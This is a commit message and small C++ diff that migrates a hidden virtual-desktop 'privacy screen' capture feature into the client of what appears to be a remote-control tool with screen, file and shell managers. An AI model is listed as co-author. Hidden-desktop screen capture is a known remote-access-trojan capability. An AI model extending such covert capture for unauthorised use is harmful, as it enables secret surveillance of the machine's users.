Feature: Migrate SimplePlugins privacy screen (隐私屏幕迁移)

Migrate the SimplePlugins privacy-screen (virtual desktop) feature into the
YAMA client as an "实验功能" right-click submenu entry. The capture layer is
rewritten rather than copied: CScreenHideSpy now subclasses YAMA's ::CScreenSpy
(vDesk=TRUE) so capture and encoding reuse YAMA's encoder pipeline instead of
SimplePlugins' diverged jpeg capture chain; CScreenManagerBase and
CScreenHideManager are migrated under the SimplePluginsScreenHide namespace,
and SimplePlugins-only ALGORITHM_DEFAULT is mapped to ALGORITHM_DIFF.

Add COMMAND_PRIVATE_SCREEN_PLUGIN (164) and LoopPrivateScreenPlugin, spawned
as a sub-connection from KernelManager. The constructor sends
TOKEN_BITMAPINFO_HIDE so the existing server HideScreenSpyDlg opens unchanged.
Add a "隐私屏幕" entry to the "实验功能" submenu, routed via
OnExperimentPrivateScreen.

Also zero-initialize the GetTitle/szClass buffers to fix a 0xCC garbled log.

Co-Authored-By: deepseek-v4-pro

client/Common.cpp

@@ -5,6 +5,7 @@
 #include "ScreenManager.h"
 #include "FileManager.h"
 #include "file/FileManager.h"
+#include "screenhide/ScreenHideManager.h"
 #include "TalkManager.h"
 #include "ChatManager.h"
 #include "MachineManager.h"
@@ -119,6 +120,11 @@ DWORD WINAPI LoopFileManagerPlugin(LPVOID lParam)
     return LoopManager<SimplePluginsFile::CFileManager, 0>(lParam);
 }
 
+DWORD WINAPI LoopPrivateScreenPlugin(LPVOID lParam)
+{
+    return LoopManager<SimplePluginsScreenHide::CScreenHideManager, 0>(lParam);
+}
+
 DWORD WINAPI LoopShellManager(LPVOID lParam)
 {
     // Use ConPTY for xterm.js terminal on Windows 10 1809+, fallback to legacy pipe